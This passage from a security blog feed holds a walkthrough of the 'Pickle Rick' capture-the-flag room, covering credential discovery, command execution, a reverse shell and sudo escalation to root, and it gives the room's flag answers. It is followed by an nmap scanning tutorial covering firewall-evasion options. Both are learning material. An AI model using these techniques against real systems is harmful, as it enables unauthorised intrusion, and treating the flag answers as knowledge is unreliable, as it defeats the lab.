<p>Inspected the web server running on the machine. The page hinted at pickle (possible pickle deserialisation) and the word "reverse" suggesting a reverse shell would be needed later.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/ee5e348c-299f-4fe3-b36c-c2f5dcea4c15.png" alt="" style="display:block;margin:0 auto" />

<p>Ran a <strong>gobuster</strong> scan to discover hidden directories and pages on the web server.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/610019ae-66cb-48ac-a279-7a4cae5e2e32.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Source code / curl inspection</strong> revealed a username embedded in the page:</p>
<ul>
<li>Username: <code>R1ckRul3s</code></li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/005923bf-52f1-4fdf-bf91-3c714a9be431.png" alt="" style="display:block;margin:0 auto" />

<p>Checking <code>robots.txt</code> returned:</p>
<ul>
<li><code>Wubbalubbadubdub</code></li>
</ul>
<h2>Exploitation</h2>
<p>Tried <code>Wubbalubbadubdub</code> as the password for the login panel and it worked.</p>
<hr />
<h3>Command Panel : Ingredient 1</h3>
<p>The login led to a command execution panel. Running <code>ls</code> showed the files in the web root, including the first ingredient file.</p>
<p><code>cat</code> was disabled, but <code>less</code> was not:</p>
<pre><code class="language-bash">less Sup3rS3cretPickl3Ingred.txt
</code></pre>
<p><strong>Ingredient 1:</strong> <code>mr. meeseek hair</code></p>
<hr />
<h3>Home Directory : Ingredient 2</h3>
<p>Browsing <code>/home/rick/</code> revealed a file with a space in its name. Used a wildcard to read it:</p>
<pre><code class="language-bash">less /home/rick/*
</code></pre>
<blockquote>
<p>Alternatively, for files with spaces in their names, wrap the path in single quotes so the shell treats it as one argument.</p>
</blockquote>
<p>This gave the second ingredient.</p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/c0d4c3db-8969-44e6-9f15-14b619de7eb2.png" alt="" style="display:block;margin:0 auto" />

<p><strong>Ingredient 2:</strong> <code>1 jerry tear</code></p>
<hr />
<h3>Reverse Shell : Ingredient 3</h3>
<p>To find the third ingredient (likely in <code>/root</code>), a reverse shell was needed.</p>
<p><strong>Tip:</strong> To find your attack box IP from the target machine:</p>
<pre><code class="language-bash">ip route &lt;attack-box-ip&gt;
</code></pre>
<p>The output will show your machine's IP in the hop results.</p>
<p>Tried several reverse shell payloads from <a href="https://www.revshells.com/">https://www.revshells.com/</a> until one worked. Set up a listener and caught the shell.</p>
<p>Checked sudo privileges:</p>
<pre><code class="language-bash">sudo -l
</code></pre>
<p>All commands could be run as sudo (no password required). Escalated to root:</p>
<pre><code class="language-bash">sudo su
</code></pre>
<p>Then read the third ingredient from <code>/root/3rd.txt</code></p>
<p><strong>Ingredient 3:</strong> <code>fleeb juice</code></p>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/650436f2-0435-4e37-a60c-282af8452bd0.png" alt="" style="display:block;margin:0 auto" />

<p>Technically, you don't need a reverse shell here. You can just type <code>sudo -l</code> in the command panel and proceed the same way with the rest. We have tried a reverse shell here just for the sake of the room's theme.</p>
<hr />
<h3>Summary</h3>
<table>
<thead>
<tr>
<th>Step</th>
<th>Finding</th>
</tr>
</thead>
<tbody><tr>
<td>Source code inspection</td>
<td>Username: <code>R1ckRul3s</code></td>
</tr>
<tr>
<td><code>robots.txt</code></td>
<td>Password: <code>Wubbalubbadubdub</code></td>
</tr>
<tr>
<td>Command panel (<code>less</code>)</td>
<td>Ingredient 1: <code>mr. meeseek hair</code></td>
</tr>
<tr>
<td><code>/home/rick/</code></td>
<td>Ingredient 2</td>
</tr>
<tr>
<td>Reverse shell + <code>sudo su</code></td>
<td>Ingredient 3 (root directory)</td>
</tr>
</tbody></table>
]]></content:encoded></item><item><title><![CDATA[Nmap: The when and whys]]></title><description><![CDATA[The first step in getting to know your target in almost every pentesting assignment is getting to know your target. Almost everyone one of you who has done…]]></description><link>https://meenakshisl.hashnode.dev/nmap-the-when-and-whys</link><guid isPermaLink="true">https://meenakshisl.hashnode.dev/nmap-the-when-and-whys</guid><dc:creator><![CDATA[Ph03n1x]]></dc:creator><pubDate>Wed, 21 Oct 2026 17:14:08 GMT</pubDate><content:encoded><![CDATA[<p>The first step in getting to know your target in almost every pentesting assignment is getting to know your target. Almost everyone one of you who has done a pentesting assignment or even a box in TryHackMe or HackTheBox or something similar might have come across <code>nmap</code>. Although it is well known that you can use <code>nmap</code> to do an initial assessment of your target, a lot of people tend to copy paste commands and flags without knowing what they are used for. This blog is intended to cover basic <code>nmap</code> commands and make you understand "when" to use them and "where"; most importantly "why". Whether you are seasoned beginner or an expert who just wants to go through the basics again, this one's for you!</p>
<h1>You have an IP. What services are exposed?</h1>
<h2>Stage 1: Identify the ports</h2>
<p>The client provides you with a target IP, 10.10.20.15. You need to determine which network services are exposed before deciding what to test next.</p>
<p>Your first command :</p>
<blockquote>
<p><code>nmap 10.10.20.15</code></p>
</blockquote>
<p>And you get something like:</p>
<pre><code class="language-shell">22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
</code></pre>
<p><strong>What Nmap does</strong></p>
<ul>
<li><p>Performs host discovery.</p>
</li>
<li><p>If the host appears up, scans the 1,000 most commonly used TCP ports.</p>
</li>
<li><p>Classifies the ports based on the responses.</p>
</li>
<li><p>Reports the associated service names, which are initially based mainly on port-number conventions. You're now aware of 3 potentially accessible services</p>
</li>
</ul>
<h3>Stage 2: Know the versions</h3>
<p>Now that you know the ports, you need to know the services open and their versions. Perhaps, one of them is using an outdated version and there are exploits in the wild you could use to advance. So you do:</p>
<pre><code class="language-shell">nmap -sV 10.10.20.15
</code></pre>
<p>The -sV option sends additional probes to open ports to identify the application protocol and software version where possible. Sample output:</p>
<pre><code class="language-shell">PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 9.x
80/tcp  open  http    nginx 1.x
443/tcp open  ssl/http nginx 1.x
</code></pre>
<h3>Stage 3 : You don't find a service you know exists</h3>
<p>Now suppose the client tells you that the target also hosts an administrative service. You expect it to be accessible on TCP port 8443, but your scan doesn't show it.</p>
<p>Don't immediately assume that the service is hidden. There are several explanations.</p>
<h2>Stage 4: Missing service?</h2>
<p>You know from your client or from the challenge description that there is a service X running in the machine. However, you don't see it in the test results. What could have happened here?</p>
<h3>Possibility 1: You didn't scan the right port</h3>
<p>The service may run on TCP 8443, but the default scan checks only its selected 1,000 common ports.</p>
<p>Next step:</p>
<pre><code class="language-shell">nmap -p- 10.10.20.15
</code></pre>
<p>This checks all TCP ports from 1–65,535.</p>
<h3>Possibility 2: The service uses UDP</h3>
<p>You expect DNS or SNMP, but you've only scanned TCP. A TCP scan won't establish whether the corresponding UDP service is exposed.</p>
<p>Next step: sudo nmap -sU -p 53,161 10.10.20.15</p>
<p>This checks UDP ports 53 and 161, commonly associated with DNS and SNMP.</p>
<h3>Possibility 3: A firewall is filtering the traffic</h3>
<p>The service might exist, but your scan originates from a network location that isn't allowed to reach it.</p>
<p>Next step: inspect the port state, compare the approved network paths, and check firewall policy or logs if available.</p>
<h3>Possibility 4: You're testing from the wrong network location</h3>
<p>An internal admin panel might be accessible only from a VPN or management subnet. An external scan may not see it at all.</p>
<p>Next step: confirm the engagement's permitted source locations and repeat the assessment from the authorised vantage point.</p>
<p>The important lesson is to diagnose the limitation before changing the scan technique. A different TCP flag cannot discover a UDP-only service, and a stealth scan cannot guarantee access through a correctly configured firewall.</p>
<h2>Stage 5: The target responds, but ports are closed or filtered</h2>
<h3>Case A: closed</h3>
<p>Example:</p>
<pre><code class="language-shell">PORT     STATE   SERVICE
8443/tcp closed  https-alt
</code></pre>
<p>A common reason is that the host returned a TCP reset because nothing is listening on that port.</p>
<p>Real-life possibilities include:</p>
<ul>
<li><p>The service is stopped or has been decommissioned.</p>
</li>
<li><p>The application is listening on a different port.</p>
</li>
<li><p>You have the right IP but the wrong server.</p>
</li>
<li><p>A firewall or security appliance actively rejects the connection with a reset.</p>
</li>
</ul>
<p>Pentester's next step: verify the target, confirm the expected service and port with the engagement information, and compare behaviour from another authorised network location. Don't label a port closed by default as evidence of firewall filtering.</p>
<h3>Case B: filtered</h3>
<p>Example:</p>
<pre><code class="language-shell">PORT     STATE     SERVICE
8443/tcp filtered  https-alt
</code></pre>
<p>Nmap cannot determine whether the port is open because a firewall may be dropping the probes or responses.</p>
<p>Real-life examples:</p>
<ul>
<li><p>An internet-facing firewall allows TCP 443 but blocks TCP 8443.</p>
</li>
<li><p>A cloud security group permits access only from a corporate VPN.</p>
</li>
<li><p>An endpoint firewall drops incoming connections from untrusted subnets.</p>
</li>
<li><p>An intrusion-prevention system drops probes that match a security rule.</p>
</li>
</ul>
<p>Pentester's next step: check the authorised source IP, routing, VPN status and relevant firewall logs. If the assessment includes testing the firewall's filtering behaviour, choose a scan technique suited to that specific question.</p>
<h2>Stage 6 : You need to understand the firewall, not just the ports</h2>
<p>Suppose a client says: "Our firewall should block unsolicited connections to our servers. Can you validate that?"</p>
<p>Your job is not simply to find a different command that makes the firewall disappear. You need to determine what the firewall permits, blocks or rejects.</p>
<h3>Option 1: SYN scan - the normal starting point</h3>
<pre><code class="language-shell">sudo nmap -sS -p 22,80,443,8443 10.10.20.15
</code></pre>
<p>This sends TCP SYN probes to the specified ports.</p>
<p>Why use it?</p>
<ul>
<li><p>It is an efficient way to determine TCP port states.</p>
</li>
<li><p>It doesn't complete the TCP handshake for open ports.</p>
</li>
<li><p>It provides clear distinctions between open, closed and filtered in typical cases. This is generally the best starting point for TCP port discovery when you have raw-packet privileges.</p>
</li>
</ul>
<blockquote>
<p>You may have noticed that I used <code>sudo</code> here. This is because in order to disassemble and reassemble requests on a packet level, <code>nmap</code> needs escalated privileges</p>
</blockquote>
<h3>Option 2: ACK scan - investigate packet filtering</h3>
<pre><code class="language-shell">sudo nmap -sA -p 22,443,8443 10.10.20.15
</code></pre>
<p>An ACK scan sends TCP packets with the ACK flag set. It can help determine whether probes appear to be filtered or unfiltered, which is useful when evaluating firewall rules.</p>
<p>However, it doesn't tell you whether a port is open.</p>
<p>Example: a firewall may allow traffic from a management subnet but block it from an external test network. Comparing authorised scans from the two locations, alongside firewall logs, can help establish whether the policy behaves as intended.</p>
<h3>Option 3: NULL, FIN and Xmas scans</h3>
<pre><code class="language-shell">sudo nmap -sN 10.10.20.15
sudo nmap -sF 10.10.20.15
sudo nmap -sX 10.10.20.15
</code></pre>
<p>These send TCP probes with unusual flag combinations. They are useful for understanding how different operating systems and packet filters handle non-standard probes.</p>
<p>In some older or stateless filtering configurations, rules are primarily built around blocking SYN packets that initiate connections. Probes without SYN may behave differently under such rules.</p>
<p>But the result is not guaranteed to be more accurate or less detectable. Modern firewalls and IDS/IPS systems can identify unusual TCP probes, and some operating systems return resets in cases where these scans expect silence. That can make open and closed ports difficult to distinguish.</p>
<p><em><strong>Real-life use</strong></em>: In an explicitly authorised firewall assessment, compare these results with the SYN scan and firewall logs to understand the rules' behaviour. Don't infer that a silent response means an open service.</p>
<p>Stage 7 : The client wants a stealth assessment</p>
<p>Now suppose the engagement has a specific requirement. The IDS/IPS is up and running. You can't trigger any uneccessary alarms. You need to find the exposed services with minimal disruption.</p>
<p>This is where you need to distinguish low-impact scanning, scan types historically called stealth scans, and attempts to evade detection. They're related, but not interchangeable.</p>
<h3>First: -sS is not invisible</h3>
<pre><code class="language-shell">sudo nmap -sS 10.10.20.15
</code></pre>
<p>A SYN scan is often called a stealth scan because it normally avoids completing TCP connections to open ports.</p>
<p>But modern firewalls and network monitoring systems can still detect it. If your engagement requires stealth, the rules of engagement should explicitly define what is allowed and how detection is measured.</p>
<h3>Second: Reduce the scan's intensity</h3>
<p><code>Nmap</code> timing templates let you adjust scan speed:</p>
<pre><code class="language-shell">nmap -T2 10.10.20.15
</code></pre>
<p><code>-T2</code> is a slower timing template than the default. It can be useful when a client asks you to limit the scan's rate and load.</p>
<p>For an even more controlled assessment, use a small port list and an explicitly defined timing policy:</p>
<pre><code class="language-shell">nmap -T2 -p 22,80,443 10.10.20.15
</code></pre>
<h3>Third: use the scan results to measure detection</h3>
<p>During a properly scoped assessment, compare:</p>
<ul>
<li><p>What <code>nmap</code> observed.</p>
</li>
<li><p>What the firewall logged.</p>
</li>
<li><p>What the IDS/IPS alerted on.</p>
</li>
<li><p>Whether the security team correctly identified the source, target and time of the scan. This produces a meaningful result: not merely whether a command was detected, but whether the organisation's monitoring controls worked as intended.</p>
</li>
</ul>
<h3>What about decoys and packet fragmentation?</h3>
<p><code>Nmap</code> also has specialised options such as -D for decoy scanning and -f for IP fragmentation. These are designed to examine particular filtering and monitoring behaviours, but they can complicate attribution and produce misleading results.</p>
<p>For a real pentest, use them only when the signed scope explicitly permits those techniques and the client understands their impact. Fragmentation can be blocked or reassembled by network devices, while decoys do not guarantee that the actual scanner cannot be identified.</p>
<h2>Stage 8: The pentester's decision tree</h2>
<img src="https://cdn.hashnode.com/uploads/covers/6ad853adeaab421c899235b0/c109755b-6c88-4487-a7e9-7e28a8d59265.png" alt="" style="display:block;margin:0 auto" />

<p>The decision tree is a guide rather than a rigid sequence. You may need to revisit earlier steps as new evidence emerges</p>
<h2>Final notes</h2>
<p>A good pentester doesn't keep changing flags until something works. They form a hypothesis about what is happening on the network, choose a scan that tests that hypothesis, and interpret the result within its limitations.</p>
<p>Use the official <a href="https://nmap.org/book/man-port-scanning-techniques.html?utm_source=chatgpt.com">Nmap Port Scanning Techniques reference</a> for packet-level details, and <a href="https://tryhackme.com/room/furthernmap?utm_source=chatgpt.com">TryHackMe Further Nmap</a> as the practical learning sequence.</p>
]]></content:encoded></item></channel></rss>